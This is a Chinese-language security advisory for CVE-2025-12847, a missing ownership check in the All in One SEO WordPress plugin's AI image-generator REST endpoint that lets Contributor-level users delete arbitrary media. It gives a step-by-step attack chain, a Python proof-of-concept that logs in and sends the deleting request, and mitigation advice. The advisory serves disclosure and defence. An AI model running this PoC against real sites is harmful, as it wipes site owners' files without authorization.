IPBUF安全漏洞报告
English
CVE-2025-12847 CVSS 4.3 中危

CVE-2025-12847 WordPress All in One SEO插件未授权媒体附件删除漏洞

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-12847
漏洞类型
访问控制缺失/越权删除
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
All in One SEO WordPress Plugin

相关标签

访问控制缺失越权删除WordPress插件漏洞REST API安全All in One SEO媒体附件删除CVE-2025-12847

漏洞概述

All in One SEO是一款广受欢迎的WordPress SEO优化插件,全球拥有数百万安装量。该插件在4.8.9及之前版本中存在严重的访问控制缺陷,攻击者可以利用REST API端点未经授权删除任意媒体附件。漏洞根源在于`/wp-json/aioseo/v1/ai/image-generator`端点仅验证用户是否具有`edit_posts`权限(Contributor及以上角色),却未检查用户是否拥有目标媒体附件的所有权或删除权限。这意味着任何具有Contributor权限的认证用户都可以永久删除站点上的任意媒体文件,包括其他用户上传的重要图片、文档等附件资源。攻击者只需获取有效的附件ID即可触发删除操作,无需任何用户交互。此漏洞对网站完整性造成威胁,攻击者可利用此漏洞删除网站关键媒体资源,导致内容丢失或网站功能受损。

技术细节

漏洞存在于All in One SEO插件的REST API处理逻辑中。具体来说,问题出在以下几个关键文件:Image.php处理图片生成逻辑、Api.php处理API请求路由、Access.php处理权限验证。问题代码仅检查用户是否具有`edit_posts`能力,该能力通常授予Contributor及以上角色,但未实现资源级别的权限验证。攻击流程如下:1) 攻击者以Contributor或更高权限账户登录WordPress;2) 构造DELETE请求到`/wp-json/aioseo/v1/ai/image-generator`端点;3) 在请求参数中指定目标媒体附件ID;4) 由于端点未验证附件所有权,请求被直接处理;5) 附件被永久删除且无法恢复。攻击者可以通过枚举或猜测附件ID来批量删除媒体资源。该漏洞属于OWASP Top 10中的Broken Access Control类别,是当前Web应用中最常见的安全问题之一。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor或更高权限账户(可通过注册或社会工程学手段获取)
STEP 2
步骤2
攻击者登录WordPress并获取有效的认证cookie和REST API nonce
STEP 3
步骤3
攻击者通过/wp-json/wp/v2/media端点枚举或猜测目标媒体附件ID
STEP 4
步骤4
构造DELETE请求到/wp-json/aioseo/v1/ai/image-generator端点,携带目标附件ID
STEP 5
步骤5
插件仅验证edit_posts权限(Contributor+),未检查附件所有权,直接执行删除操作
STEP 6
步骤6
目标媒体附件被永久删除,攻击者可重复此过程批量删除任意媒体资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12847 PoC - All in One SEO Plugin Unauthorized Media Deletion # Target: WordPress site with All in One SEO plugin <= 4.8.9 target_url = "http://target-wordpress-site.com" api_endpoint = "/wp-json/aioseo/v1/ai/image-generator" # Authentication - Contributor level account required session = requests.Session() # Login to WordPress (replace with valid credentials) login_url = f"{target_url}/wp-login.php" login_data = { "log": "attacker_username", "pwd": "attacker_password" } session.post(login_url, data=login_data) # Craft DELETE request to delete arbitrary media attachment # Replace ATTACHMENT_ID with target media ID attachment_id = "123" # Target attachment ID to delete delete_url = f"{target_url}{api_endpoint}" headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get("wordpress_logged_in_...") # Get from logged in session } # Payload to delete media attachment payload = { "action": "delete", "attachment_id": attachment_id } # Send deletion request response = session.delete(delete_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: Requires valid attachment ID and Contributor+ access # Attachment IDs can be enumerated via /wp-json/wp/v2/media endpoint

影响范围

All in One SEO Pack < 4.9.0

防御指南

临时缓解措施
如果无法立即升级,可暂时禁用All in One SEO插件的AI图片生成功能,或通过Web应用防火墙(WAF)限制对/wp-json/aioseo/v1/ai/image-generator端点的访问。同时应限制用户注册功能,防止攻击者获取Contributor权限账户,并加强媒体上传目录的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表